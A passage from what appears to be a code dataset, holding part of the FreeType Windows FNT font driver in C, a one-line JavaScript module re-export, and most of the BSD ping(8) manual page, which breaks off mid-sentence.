font->header.first_char;\r\n cmap->count = (FT_UInt32)( font->header.last_char - cmap->first + 1 );\r\n\r\n return 0;\r\n }\r\n\r\n\r\n static FT_UInt\r\n fnt_cmap_char_index( FNT_CMap cmap,\r\n FT_UInt32 char_code )\r\n {\r\n FT_UInt gindex = 0;\r\n\r\n\r\n char_code -= cmap->first;\r\n if ( char_code < cmap->count )\r\n /* we artificially increase the glyph index; */\r\n /* FNT_Load_Glyph reverts to the right one */\r\n gindex = (FT_UInt)( char_code + 1 );\r\n return gindex;\r\n }\r\n\r\n\r\n static FT_UInt32\r\n fnt_cmap_char_next( FNT_CMap cmap,\r\n FT_UInt32 *pchar_code )\r\n {\r\n FT_UInt gindex = 0;\r\n FT_UInt32 result = 0;\r\n FT_UInt32 char_code = *pchar_code + 1;\r\n\r\n\r\n if ( char_code <= cmap->first )\r\n {\r\n result = cmap->first;\r\n gindex = 1;\r\n }\r\n else\r\n {\r\n char_code -= cmap->first;\r\n if ( char_code < cmap->count )\r\n {\r\n result = cmap->first + char_code;\r\n gindex = (FT_UInt)( char_code + 1 );\r\n }\r\n }\r\n\r\n *pchar_code = result;\r\n return gindex;\r\n }\r\n\r\n\r\n static const FT_CMap_ClassRec fnt_cmap_class_rec =\r\n {\r\n sizeof ( FNT_CMapRec ),\r\n\r\n (FT_CMap_InitFunc) fnt_cmap_init,\r\n (FT_CMap_DoneFunc) NULL,\r\n (FT_CMap_CharIndexFunc)fnt_cmap_char_index,\r\n (FT_CMap_CharNextFunc) fnt_cmap_char_next,\r\n\r\n NULL, NULL, NULL, NULL, NULL\r\n };\r\n\r\n static FT_CMap_Class const fnt_cmap_class = &fnt_cmap_class_rec;\r\n\r\n\r\n static void\r\n FNT_Face_Done( FT_Face fntface ) /* FNT_Face */\r\n {\r\n FNT_Face face = (FNT_Face)fntface;\r\n FT_Memory memory;\r\n\r\n\r\n if ( !face )\r\n return;\r\n\r\n memory = FT_FACE_MEMORY( face );\r\n\r\n fnt_font_done( face );\r\n\r\n FT_FREE( fntface->available_sizes );\r\n fntface->num_fixed_sizes = 0;\r\n }\r\n\r\n\r\n static FT_Error\r\n FNT_Face_Init( FT_Stream stream,\r\n FT_Face fntface, /* FNT_Face */\r\n FT_Int face_index,\r\n FT_Int num_params,\r\n FT_Parameter* params )\r\n {\r\n FNT_Face face = (FNT_Face)fntface;\r\n FT_Error error;\r\n FT_Memory memory = FT_FACE_MEMORY( face );\r\n\r\n FT_UNUSED( num_params );\r\n FT_UNUSED( params );\r\n\r\n\r\n FT_TRACE2(( \"Windows FNT driver\\n\" ));\r\n\r\n /* try to load font from a DLL */\r\n error = fnt_face_get_dll_font( face, face_index );\r\n if ( !error && face_index < 0 )\r\n goto Exit;\r\n\r\n if ( error == FNT_Err_Unknown_File_Format )\r\n {\r\n /* this didn't work; try to load a single FNT font */\r\n FNT_Font font;\r\n\r\n if ( FT_NEW( face->font ) )\r\n goto Exit;\r\n\r\n fntface->num_faces = 1;\r\n\r\n font = face->font;\r\n font->offset = 0;\r\n font->fnt_size = stream->size;\r\n\r\n error = fnt_font_load( font, stream );\r\n\r\n if ( !error )\r\n {\r\n if ( face_index > 0 )\r\n error = FNT_Err_Invalid_Argument;\r\n else if ( face_index < 0 )\r\n goto Exit;\r\n }\r\n }\r\n\r\n if ( error )\r\n goto Fail;\r\n\r\n /* we now need to fill the root FT_Face fields */\r\n /* with relevant information */\r\n {\r\n FT_Face root = FT_FACE( face );\r\n FNT_Font font = face->font;\r\n FT_PtrDist family_size;\r\n\r\n\r\n root->face_index = face_index;\r\n\r\n root->face_flags = FT_FACE_FLAG_FIXED_SIZES |\r\n FT_FACE_FLAG_HORIZONTAL;\r\n\r\n if ( font->header.avg_width == font->header.max_width )\r\n root->face_flags |= FT_FACE_FLAG_FIXED_WIDTH;\r\n\r\n if ( font->header.italic )\r\n root->style_flags |= FT_STYLE_FLAG_ITALIC;\r\n\r\n if ( font->header.weight >= 800 )\r\n root->style_flags |= FT_STYLE_FLAG_BOLD;\r\n\r\n /* set up the `fixed_sizes' array */\r\n if ( FT_NEW_ARRAY( root->available_sizes, 1 ) )\r\n goto Fail;\r\n\r\n root->num_fixed_sizes = 1;\r\n\r\n {\r\n FT_Bitmap_Size* bsize = root->available_sizes;\r\n FT_UShort x_res, y_res;\r\n\r\n\r\n bsize->width = font->header.avg_width;\r\n bsize->height = (FT_Short)(\r\n font->header.pixel_height + font->header.external_leading );\r\n bsize->size = font->header.nominal_point_size << 6;\r\n\r\n x_res = font->header.horizontal_resolution;\r\n if ( !x_res )\r\n x_res = 72;\r\n\r\n y_res = font->header.vertical_resolution;\r\n if ( !y_res )\r\n y_res = 72;\r\n\r\n bsize->y_ppem = FT_MulDiv( bsize->size, y_res, 72 );\r\n bsize->y_ppem = FT_PIX_ROUND( bsize->y_ppem );\r\n\r\n /*\r\n * this reads:\r\n *\r\n * the nominal height is larger than the bbox's height\r\n *\r\n * => nominal_point_size contains incorrect value;\r\n * use pixel_height as the nominal height\r\n */\r\n if ( bsize->y_ppem > ( font->header.pixel_height << 6 ) )\r\n {\r\n FT_TRACE2(( \"use pixel_height as the nominal height\\n\" ));\r\n\r\n bsize->y_ppem = font->header.pixel_height << 6;\r\n bsize->size = FT_MulDiv( bsize->y_ppem, 72, y_res );\r\n }\r\n\r\n bsize->x_ppem = FT_MulDiv( bsize->size, x_res, 72 );\r\n bsize->x_ppem = FT_PIX_ROUND( bsize->x_ppem );\r\n }\r\n\r\n {\r\n FT_CharMapRec charmap;\r\n\r\n\r\n charmap.encoding = FT_ENCODING_NONE;\r\n /* initial platform/encoding should indicate unset status? */\r\n charmap.platform_id = TT_PLATFORM_APPLE_UNICODE;\r\n charmap.encoding_id = TT_APPLE_ID_DEFAULT;\r\n charmap.face = root;\r\n\r\n if ( font->header.charset == FT_WinFNT_ID_MAC )\r\n {\r\n charmap.encoding = FT_ENCODING_APPLE_ROMAN;\r\n charmap.platform_id = TT_PLATFORM_MACINTOSH;\r\n/* charmap.encoding_id = TT_MAC_ID_ROMAN; */\r\n }\r\n\r\n error = FT_CMap_New( fnt_cmap_class,\r\n NULL,\r\n &charmap,\r\n NULL );\r\n if ( error )\r\n goto Fail;\r\n\r\n /* Select default charmap */\r\n if ( root->num_charmaps )\r\n root->charmap = root->charmaps[0];\r\n }\r\n\r\n /* set up remaining flags */\r\n\r\n if ( font->header.last_char < font->header.first_char )\r\n {\r\n FT_TRACE2(( \"invalid number of glyphs\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Fail;\r\n }\r\n\r\n /* reserve one slot for the .notdef glyph at index 0 */\r\n root->num_glyphs = font->header.last_char -\r\n font->header.first_char + 1 + 1;\r\n\r\n if ( font->header.face_name_offset >= font->header.file_size )\r\n {\r\n FT_TRACE2(( \"invalid family name offset\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Fail;\r\n }\r\n family_size = font->header.file_size - font->header.face_name_offset;\r\n /* Some broken fonts don't delimit the face name with a final */\r\n /* NULL byte -- the frame is erroneously one byte too small. */\r\n /* We thus allocate one more byte, setting it explicitly to */\r\n /* zero. */\r\n if ( FT_ALLOC( font->family_name, family_size + 1 ) )\r\n goto Fail;\r\n\r\n FT_MEM_COPY( font->family_name,\r\n font->fnt_frame + font->header.face_name_offset,\r\n family_size );\r\n\r\n font->family_name[family_size] = '\\0';\r\n\r\n if ( FT_REALLOC( font->family_name,\r\n family_size,\r\n ft_strlen( font->family_name ) + 1 ) )\r\n goto Fail;\r\n\r\n root->family_name = font->family_name;\r\n root->style_name = (char *)\"Regular\";\r\n\r\n if ( root->style_flags & FT_STYLE_FLAG_BOLD )\r\n {\r\n if ( root->style_flags & FT_STYLE_FLAG_ITALIC )\r\n root->style_name = (char *)\"Bold Italic\";\r\n else\r\n root->style_name = (char *)\"Bold\";\r\n }\r\n else if ( root->style_flags & FT_STYLE_FLAG_ITALIC )\r\n root->style_name = (char *)\"Italic\";\r\n }\r\n goto Exit;\r\n\r\n Fail:\r\n FNT_Face_Done( fntface );\r\n\r\n Exit:\r\n return error;\r\n }\r\n\r\n\r\n static FT_Error\r\n FNT_Size_Select( FT_Size size,\r\n FT_ULong strike_index )\r\n {\r\n FNT_Face face = (FNT_Face)size->face;\r\n FT_WinFNT_Header header = &face->font->header;\r\n\r\n FT_UNUSED( strike_index );\r\n\r\n\r\n FT_Select_Metrics( size->face, 0 );\r\n\r\n size->metrics.ascender = header->ascent * 64;\r\n size->metrics.descender = -( header->pixel_height -\r\n header->ascent ) * 64;\r\n size->metrics.max_advance = header->max_width * 64;\r\n\r\n return FNT_Err_Ok;\r\n }\r\n\r\n\r\n static FT_Error\r\n FNT_Size_Request( FT_Size size,\r\n FT_Size_Request req )\r\n {\r\n FNT_Face face = (FNT_Face)size->face;\r\n FT_WinFNT_Header header = &face->font->header;\r\n FT_Bitmap_Size* bsize = size->face->available_sizes;\r\n FT_Error error = FNT_Err_Invalid_Pixel_Size;\r\n FT_Long height;\r\n\r\n\r\n height = FT_REQUEST_HEIGHT( req );\r\n height = ( height + 32 ) >> 6;\r\n\r\n switch ( req->type )\r\n {\r\n case FT_SIZE_REQUEST_TYPE_NOMINAL:\r\n if ( height == ( ( bsize->y_ppem + 32 ) >> 6 ) )\r\n error = FNT_Err_Ok;\r\n break;\r\n\r\n case FT_SIZE_REQUEST_TYPE_REAL_DIM:\r\n if ( height == header->pixel_height )\r\n error = FNT_Err_Ok;\r\n break;\r\n\r\n default:\r\n error = FNT_Err_Unimplemented_Feature;\r\n break;\r\n }\r\n\r\n if ( error )\r\n return error;\r\n else\r\n return FNT_Size_Select( size, 0 );\r\n }\r\n\r\n\r\n static FT_Error\r\n FNT_Load_Glyph( FT_GlyphSlot slot,\r\n FT_Size size,\r\n FT_UInt glyph_index,\r\n FT_Int32 load_flags )\r\n {\r\n FNT_Face face = (FNT_Face)FT_SIZE_FACE( size );\r\n FNT_Font font;\r\n FT_Error error = FNT_Err_Ok;\r\n FT_Byte* p;\r\n FT_Int len;\r\n FT_Bitmap* bitmap = &slot->bitmap;\r\n FT_ULong offset;\r\n FT_Bool new_format;\r\n\r\n FT_UNUSED( load_flags );\r\n\r\n\r\n if ( !face )\r\n {\r\n error = FNT_Err_Invalid_Argument;\r\n goto Exit;\r\n }\r\n\r\n font = face->font;\r\n\r\n if ( !font ||\r\n glyph_index >= (FT_UInt)( FT_FACE( face )->num_glyphs ) )\r\n {\r\n error = FNT_Err_Invalid_Argument;\r\n goto Exit;\r\n }\r\n\r\n if ( glyph_index > 0 )\r\n glyph_index--; /* revert to real index */\r\n else\r\n glyph_index = font->header.default_char; /* the .notdef glyph */\r\n\r\n new_format = FT_BOOL( font->header.version == 0x300 );\r\n len = new_format ? 6 : 4;\r\n\r\n /* jump to glyph entry */\r\n p = font->fnt_frame + ( new_format ? 148 : 118 ) + len * glyph_index;\r\n\r\n bitmap->width = FT_NEXT_SHORT_LE( p );\r\n\r\n if ( new_format )\r\n offset = FT_NEXT_ULONG_LE( p );\r\n else\r\n offset = FT_NEXT_USHORT_LE( p );\r\n\r\n if ( offset >= font->header.file_size )\r\n {\r\n FT_TRACE2(( \"invalid FNT offset\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n /* jump to glyph data */\r\n p = font->fnt_frame + /* font->header.bits_offset */ + offset;\r\n\r\n /* allocate and build bitmap */\r\n {\r\n FT_Memory memory = FT_FACE_MEMORY( slot->face );\r\n FT_Int pitch = ( bitmap->width + 7 ) >> 3;\r\n FT_Byte* column;\r\n FT_Byte* write;\r\n\r\n\r\n bitmap->pitch = pitch;\r\n bitmap->rows = font->header.pixel_height;\r\n bitmap->pixel_mode = FT_PIXEL_MODE_MONO;\r\n\r\n if ( offset + pitch * bitmap->rows >= font->header.file_size )\r\n {\r\n FT_TRACE2(( \"invalid bitmap width\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n /* note: since glyphs are stored in columns and not in rows we */\r\n /* can't use ft_glyphslot_set_bitmap */\r\n if ( FT_ALLOC_MULT( bitmap->buffer, pitch, bitmap->rows ) )\r\n goto Exit;\r\n\r\n column = (FT_Byte*)bitmap->buffer;\r\n\r\n for ( ; pitch > 0; pitch--, column++ )\r\n {\r\n FT_Byte* limit = p + bitmap->rows;\r\n\r\n\r\n for ( write = column; p < limit; p++, write += bitmap->pitch )\r\n *write = *p;\r\n }\r\n }\r\n\r\n slot->internal->flags = FT_GLYPH_OWN_BITMAP;\r\n slot->bitmap_left = 0;\r\n slot->bitmap_top = font->header.ascent;\r\n slot->format = FT_GLYPH_FORMAT_BITMAP;\r\n\r\n /* now set up metrics */\r\n slot->metrics.width = bitmap->width << 6;\r\n slot->metrics.height = bitmap->rows << 6;\r\n slot->metrics.horiAdvance = bitmap->width << 6;\r\n slot->metrics.horiBearingX = 0;\r\n slot->metrics.horiBearingY = slot->bitmap_top << 6;\r\n\r\n ft_synthesize_vertical_metrics( &slot->metrics,\r\n bitmap->rows << 6 );\r\n\r\n Exit:\r\n return error;\r\n }\r\n\r\n\r\n static FT_Error\r\n winfnt_get_header( FT_Face face,\r\n FT_WinFNT_HeaderRec *aheader )\r\n {\r\n FNT_Font font = ((FNT_Face)face)->font;\r\n\r\n\r\n *aheader = font->header;\r\n\r\n return 0;\r\n }\r\n\r\n\r\n static const FT_Service_WinFntRec winfnt_service_rec =\r\n {\r\n winfnt_get_header\r\n };\r\n\r\n /*\r\n * SERVICE LIST\r\n *\r\n */\r\n\r\n static const FT_ServiceDescRec winfnt_services[] =\r\n {\r\n { FT_SERVICE_ID_XF86_NAME, FT_XF86_FORMAT_WINFNT },\r\n { FT_SERVICE_ID_WINFNT, &winfnt_service_rec },\r\n { NULL, NULL }\r\n };\r\n\r\n\r\n static FT_Module_Interface\r\n winfnt_get_service( FT_Module module,\r\n const FT_String* service_id )\r\n {\r\n FT_UNUSED( module );\r\n\r\n return ft_service_list_lookup( winfnt_services, service_id );\r\n }\r\n\r\n\r\n\r\n\r\n FT_CALLBACK_TABLE_DEF\r\n const FT_Driver_ClassRec winfnt_driver_class =\r\n {\r\n {\r\n FT_MODULE_FONT_DRIVER |\r\n FT_MODULE_DRIVER_NO_OUTLINES,\r\n sizeof ( FT_DriverRec ),\r\n\r\n \"winfonts\",\r\n 0x10000L,\r\n 0x20000L,\r\n\r\n 0,\r\n\r\n 0, /* FT_Module_Constructor */\r\n 0, /* FT_Module_Destructor */\r\n winfnt_get_service\r\n },\r\n\r\n sizeof ( FNT_FaceRec ),\r\n sizeof ( FT_SizeRec ),\r\n sizeof ( FT_GlyphSlotRec ),\r\n\r\n FNT_Face_Init,\r\n FNT_Face_Done,\r\n 0, /* FT_Size_InitFunc */\r\n 0, /* FT_Size_DoneFunc */\r\n 0, /* FT_Slot_InitFunc */\r\n 0, /* FT_Slot_DoneFunc */\r\n\r\n#ifdef FT_CONFIG_OPTION_OLD_INTERNALS\r\n ft_stub_set_char_sizes,\r\n ft_stub_set_pixel_sizes,\r\n#endif\r\n FNT_Load_Glyph,\r\n\r\n 0, /* FT_Face_GetKerningFunc */\r\n 0, /* FT_Face_AttachFunc */\r\n 0, /* FT_Face_GetAdvancesFunc */\r\n\r\n FNT_Size_Request,\r\n FNT_Size_Select\r\n };\r\n\r\n\r\n/* END */\r\n"} +{"text": "// @flow\nexport { default } from './MainMobileHeadItem';"} +{"text": ".\\\" Copyright (c) 1985, 1991, 1993\n.\\\"\tThe Regents of the University of California. All rights reserved.\n.\\\"\n.\\\" Redistribution and use in source and binary forms, with or without\n.\\\" modification, are permitted provided that the following conditions\n.\\\" are met:\n.\\\" 1. Redistributions of source code must retain the above copyright\n.\\\" notice, this list of conditions and the following disclaimer.\n.\\\" 2. Redistributions in binary form must reproduce the above copyright\n.\\\" notice, this list of conditions and the following disclaimer in the\n.\\\" documentation and/or other materials provided with the distribution.\n.\\\" 3. Neither the name of the University nor the names of its contributors\n.\\\" may be used to endorse or promote products derived from this software\n.\\\" without specific prior written permission.\n.\\\"\n.\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n.\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n.\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n.\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n.\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n.\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n.\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n.\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n.\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n.\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n.\\\" SUCH DAMAGE.\n.\\\"\n.\\\" @(#)ping.8\t8.2 (Berkeley) 12/11/93\n.\\\" $FreeBSD: src/sbin/ping/ping.8,v 1.54 2006/04/05 12:30:42 glebius Exp $\n.\\\"\n.Dd June 26, 2020\n.Dt PING 8\n.Os\n.Sh NAME\n.Nm ping\n.Nd send\n.Tn ICMP ECHO_REQUEST\npackets to network hosts\n.Sh SYNOPSIS\n.Nm\n.Op Fl AaDdfnoQqRrv\n.Op Fl c Ar count\n.Op Fl G Ar sweepmaxsize\n.Op Fl g Ar sweepminsize\n.Op Fl h Ar sweepincrsize\n.Op Fl i Ar wait\n.Op Fl l Ar preload\n.Op Fl M Cm mask | time\n.Op Fl m Ar ttl\n.Op Fl p Ar pattern\n.Op Fl S Ar src_addr\n.Op Fl s Ar packetsize\n.Op Fl t Ar timeout\n.Op Fl W Ar waittime\n.Op Fl z Ar tos\n.Ar host\n.Nm\n.Op Fl AaDdfLnoQqRrv\n.Op Fl c Ar count\n.Op Fl I Ar iface\n.Op Fl i Ar wait\n.Op Fl l Ar preload\n.Op Fl M Cm mask | time\n.Op Fl m Ar ttl\n.Op Fl p Ar pattern\n.Op Fl S Ar src_addr\n.Op Fl s Ar packetsize\n.Op Fl T Ar ttl\n.Op Fl t Ar timeout\n.Op Fl W Ar waittime\n.Op Fl z Ar tos\n.Ar mcast-group\n.Sh DESCRIPTION\nThe\n.Nm\nutility uses the\n.Tn ICMP\n.No protocol Ap s mandatory\n.Tn ECHO_REQUEST\ndatagram to elicit an\n.Tn ICMP ECHO_RESPONSE\nfrom a host or gateway.\n.Tn ECHO_REQUEST\ndatagrams\n.Pq Dq pings\nhave an IP and\n.Tn ICMP\nheader, followed by a\n.Dq struct timeval\nand then an arbitrary number of\n.Dq pad\nbytes used to fill out the packet.\nThe options are as follows:\n.Bl -tag -width indent\n.It Fl A\nAudible.\nOutput a bell\n.Tn ( ASCII\n0x07)\ncharacter when no packet is received before the next packet\nis transmitted.\nTo cater for round-trip times that are longer than the interval\nbetween transmissions, further missing packets cause a bell only\nif the maximum number of unreceived packets has increased.\n.It Fl a\nAudible.\nInclude a bell\n.Tn ( ASCII\n0x07)\ncharacter in the output when any packet is received.\nThis option is ignored\nif other format options are present.\n.It Fl c Ar count\nStop after sending\n(and receiving)\n.Ar count\n.Tn ECHO_RESPONSE\npackets.\nIf this option is not specified,\n.Nm\nwill operate until interrupted.\nIf this option is specified in conjunction with ping sweeps,\neach sweep will consist of\n.Ar count\npackets.\n.It Fl D\nSet the Don't Fragment bit.\n.It Fl d\nSet the\n.Dv SO_DEBUG\noption on the socket being used.\n.It Fl f\nFlood ping.\nOutputs packets as fast as they come back or one hundred times per second,\nwhichever is more.\nFor every\n.Tn ECHO_REQUEST\nsent a period\n.Dq .\\&\nis printed, while for every\n.Tn ECHO_REPLY\nreceived a backspace is printed.\nThis provides a rapid display of how many packets are being dropped.\nOnly the super-user may use this option.\n.Bf -emphasis\nThis can be very hard on a network and should be used with caution.\n.Ef\n.It Fl G Ar sweepmaxsize\nSpecify the maximum size of\n.Tn ICMP\npayload when sending sweeping pings.\nThis option is required for ping sweeps.\n.It Fl g Ar sweepminsize\nSpecify the size of\n.Tn ICMP\npayload to start with when sending sweeping pings.\nThe default value is 0.\n.It Fl h Ar sweepincrsize\nSpecify the number of bytes to increment the size of\n.Tn ICMP\npayload after\neach sweep when sending sweeping pings.\nThe default value is 1.\n.It Fl I Ar iface\nSource multicast packets with the given interface address.\nThis flag only applies if the ping destination is a multicast address.\n.It Fl i Ar wait\nWait\n.Ar wait\nseconds\n.Em between sending each packet .\nThe default is to wait for one second between each packet.\nThe wait time may be fractional, but only the super-user may specify\nvalues less than 1 second.\nThis option is incompatible with the\n.Fl f\noption.\n.It Fl L\nSuppress loopback of multicast packets.\nThis flag only applies if the ping destination is a multicast address.\n.It Fl l Ar preload\nIf\n.Ar preload\nis specified,\n.Nm\nsends that many packets as fast as possible before falling into its normal\nmode of behavior.\nOnly the super-user may use this option.\n.It Fl M Cm mask | time\nUse\n.Dv ICMP_MASKREQ\nor\n.Dv ICMP_TSTAMP\ninstead of\n.Dv ICMP_ECHO .\nFor\n.Cm mask ,\nprint the netmask of the remote machine.\nSet the\n.Va net.inet.icmp.maskrepl\nMIB variable to enable\n.Dv ICMP_MASKREPLY .\nFor\n.Cm time ,\nprint the origination, reception and transmission timestamps.\n.It Fl m Ar ttl\nSet the IP Time To Live for outgoing packets.\nIf not specified, the kernel uses the value of the\n.Va net.inet.ip.ttl\nMIB variable.\n.It Fl n\nNumeric output only.\nNo attempt will be made to lookup symbolic names for host addresses.\n.It Fl o\nExit successfully after receiving one reply packet.\n.It Fl p Ar pattern\nYou may specify up to 16\n.Dq pad\nbytes to fill out the packet you send.\nThis is useful for diagnosing data-dependent problems in a network.\nFor example,\n.Dq Li \\-p ff\nwill cause the sent packet to be filled with all\nones.\n.It Fl Q\nSomewhat quiet output.\n.No Don Ap t\ndisplay ICMP error messages that are in response to our query messages.\nOriginally, the\n.Fl v\nflag was required to display such errors, but\n.Fl v\ndisplays all ICMP error messages.\nOn a busy machine, this output can be overbearing.\nWithout the\n.Fl Q\nflag,\n.Nm\nprints out any ICMP error messages caused by its own ECHO_REQUEST\nmessages.\n.It Fl q\nQuiet output.\nNothing is displayed except the summary lines at startup time and\nwhen finished.\n.It Fl R\nRecord route.\nIncludes the\n.Tn RECORD_ROUTE\noption in the\n.Tn ECHO_REQUEST\npacket and displays\nthe route buffer on returned packets.\nNote that the IP header is only large enough for nine such routes;\nthe\n.Xr traceroute 8\ncommand is usually better at determining the route packets take to a\nparticular destination.\nIf more routes come back than should, such as due to an illegal spoofed\npacket, ping will print the route list and then truncate it at the correct\nspot.\nMany hosts ignore or discard the\n.Tn RECORD_ROUTE\noption.\n.It Fl r\nBypass the normal routing tables and send directly to a host on an attached\nnetwork.\nIf the host is not on a directly-attached network, an error is returned.\nThis option can be used to ping a local host through an interface\nthat has no route through it\n(e.g., after the interface was dropped by\n.Xr routed 8 ) .\n.It Fl S Ar src_addr\nUse the following IP address as the source address in outgoing packets.\nOn hosts with more than one IP address, this option can be used to\nforce the source address to be something other than the IP address\nof the interface the probe packet is sent on.\nIf the IP address\nis not one of this machine's interface addresses, an error is\nreturned and nothing is sent.\n.It Fl s Ar packetsize\nSpecify the number of data bytes to be sent.\nThe default is 56, which translates into 64\n.Tn ICMP\ndata bytes when combined\nwith the 8 bytes of\n.Tn ICMP\nheader data.\nOnly the super-user may specify values more than default.\nThis option cannot be used with ping sweeps.\n.It Fl T Ar ttl\nSet the IP Time To Live for multicasted packets.\nThis flag only applies if the ping destination is a multicast address.\n.It Fl t Ar timeout\nSpecify a timeout, in seconds, before ping exits regardless of how\nmany packets have been received.\n.It Fl v\nVerbose output.\n.Tn ICMP\npackets other than\n.Tn ECHO_RESPONSE\nthat are received are listed.\n.It Fl W Ar waittime\nTime in milliseconds to wait for a reply for each packet sent.\nIf a reply arrives later, the packet is not printed as replied, but\nconsidered as replied when calculating statistics.\n.It Fl z Ar tos\nUse the specified type of service.\n.El\n.Pp\nWhen using\n.Nm\nfor fault isolation, it should first be run on the local host, to verify\nthat the local network interface is up and running.\nThen, hosts and gateways further and further away should be\n.Dq pinged .\nRound-trip times and packet loss statistics are computed.\nIf duplicate packets are received, they are not included in the packet\nloss calculation, although the round trip time of these packets is used\nin calculating the round-trip time statistics.\nWhen the specified number of packets have been sent\n(and received)\nor if the program is terminated with a\n.Dv SIGINT ,\na brief summary is displayed, showing the number of packets sent and\nreceived, and the minimum, mean, maximum, and standard deviation of\nthe round-trip times.\n.Pp\nIf\n.Nm\nreceives a\n.Dv SIGINFO\n(see the\n.Cm status\nargument for\n.Xr stty 1 )\nsignal, the current number of packets sent and received, and the\nminimum, mean, and maximum of the round-trip times will be written to\nthe standard error output.\n.Pp\nThis program is intended for use in network testing, measurement and\nmanagement.\nBecause of the load it can impose on the network, it is unwise to use\n.Nm\nduring normal operations or from automated scripts.\n.Sh ICMP PACKET DETAILS\nAn IP header without options is 20 bytes.\nAn\n.Tn ICMP\n.Tn ECHO_REQUEST\npacket contains an additional 8 bytes worth of\n.Tn ICMP\nheader followed by an arbitrary amount of data.\nWhen a\n.Ar packetsize\nis given, this indicated the size of this extra piece of data\n(the default is 56).\nThus the amount of data received inside of an IP packet of type\n.Tn ICMP\n.Tn ECHO_REPLY\nwill always be 8 bytes more than the requested data space\n(the\n.Tn ICMP\nheader).\n.Pp\nIf the data space is at least eight bytes large,\n.Nm\nuses the first eight bytes of this space to include a timestamp which\nit uses in the computation of round trip times.\nIf less than eight bytes of pad are specified, no round trip times are\ngiven.\n.Sh DUPLICATE AND DAMAGED PACKETS\nThe\n.Nm\nutility will report duplicate and damaged packets.\nDuplicate packets should never occur when pinging a unicast address,\nand seem to be caused by\ninappropriate link-level retransmissions.\nDuplicates may occur in many situations and are rarely\n(if ever)\na good sign, although the presence of low levels of duplicates may not\nalways be cause for alarm.\nDuplicates are expected when pinging a broadcast or multicast address,\nsince they are not really duplicates but replies from different hosts\nto the same request.\n.Pp\nDamaged packets are obviously serious cause for alarm and often\nindicate broken hardware somewhere in the\n.Nm\npacket's path (in the network or in the hosts).\n.Sh TRYING DIFFERENT DATA PATTERNS\nThe\n(inter)network\nlayer should never treat packets differently depending on the data\ncontained in the data portion.\nUnfortunately, data-dependent problems have been known to sneak into\nnetworks and remain undetected for long periods of time.\nIn many cases the particular pattern that will have problems is something\nthat does not have sufficient\n.Dq transitions ,\nsuch as all ones or all zeros, or a pattern right at the edge, such as\nalmost all zeros.\nIt is not\nnecessarily enough to specify a data pattern of all zeros (for example)\non the command line because the pattern that is of interest is\nat the data link level, and the relationship between what you type and\nwhat the controllers transmit can be complicated.\n.Pp\nThis means that if you have a data-dependent problem you will probably\nhave to do a lot of testing to find it.\nIf you are lucky, you may manage to find a file that either\ncannot\nbe sent across your network or that takes much longer to transfer than\nother similar length files.\nYou can then examine this file for repeated patterns that you can test\nusing the\n.Fl p\noption of\n.Nm .\n.Sh TTL DETAILS\nThe\n.Tn TTL\nvalue of an IP packet represents the maximum number of IP routers\nthat the packet can go through before being thrown away.\nIn current practice you can expect each router in the Internet to decrement\nthe\n.Tn TTL\nfield by exactly one.\n.Pp\nThe\n.Tn TCP/IP\nspecification recommends setting the\n.Tn TTL\nfield for\n.Tn IP\npackets to 64, but many systems use smaller values\n.No ( Bx 4.3\nuses 30,\n.Bx 4.2\nused 15).\n.Pp\nThe maximum possible value of this field is 255, and most\n.Ux\nsystems set\nthe\n.Tn TTL\nfield of\n.Tn ICMP ECHO_REQUEST\npackets to 255.\nThis is why you will find you can\n.Dq ping\nsome hosts, but not reach them with\n.Xr telnet 1\nor\n.Xr ftp 1 .\n.Pp\nIn normal operation\n.Nm\nprints the ttl value from the packet it receives.\nWhen a remote system receives a ping packet, it can do one of three things\nwith the\n.Tn TTL\nfield in its response:\n.Bl -bullet\n.It\nNot change it; this is what\n.Bx\nsystems did before the\n.Bx 4.3 tahoe\nrelease.\nIn this case the\n.Tn TTL\nvalue in the received packet will be 255 minus the\nnumber of routers in the round-trip path.\n.It\nSet it to 255; this is what current\n.Bx\nsystems do.\nIn this case the\n.Tn TTL\nvalue in the received packet will be 255 minus the\nnumber of routers in the path\n.Em from\nthe remote system\n.Em to\nthe\n.Nm Ns Em ing\nhost.\n.It\nSet it to some other value.\nSome machines use the same value for\n.Tn ICMP\npackets that they use for\n.Tn TCP\npackets, for example either 30 or 60.\nOthers may use completely wild values.\n.El\n.Sh EXIT STATUS\nThe\n.Nm\nutility returns an exit status of zero if at least one response was\nheard from the specified\n.Ar host ;\na status of two if the transmission was successful but no responses\nwere received; or another value\n(from\n.In sysexits.h )\nif an error occurred.\n.Sh SEE ALSO\n.Xr netstat 1 ,\n.Xr ifconfig 8 ,\n.Xr ping6 8 ,\n.Xr routed 8 ,\n.Xr traceroute 8 ,\n.Xr traceroute6 8\n.Sh HISTORY\nThe\n.Nm\nutility appeared in\n.Bx 4.3 .\n.Sh AUTHORS\nThe original\n.Nm\nutility was written by\n.An Mike Muuss\nwhile at the US Army Ballistics\nResearch Laboratory.\n.Sh BUGS\nMany Hosts and Gateways ignore the\n.Tn RECORD_ROUTE\noption.\n.Pp\nThe maximum IP header length is too small for options like\n.Tn RECORD_ROUTE\nto be completely useful.\n.No There Ap s\nnot much that can be done about this, however.\n.Pp\nFlood pinging is not recommended in general, and flood pinging the\nbroadcast address should only be done under very controlled conditions.\n.Pp\nThe\n.Fl 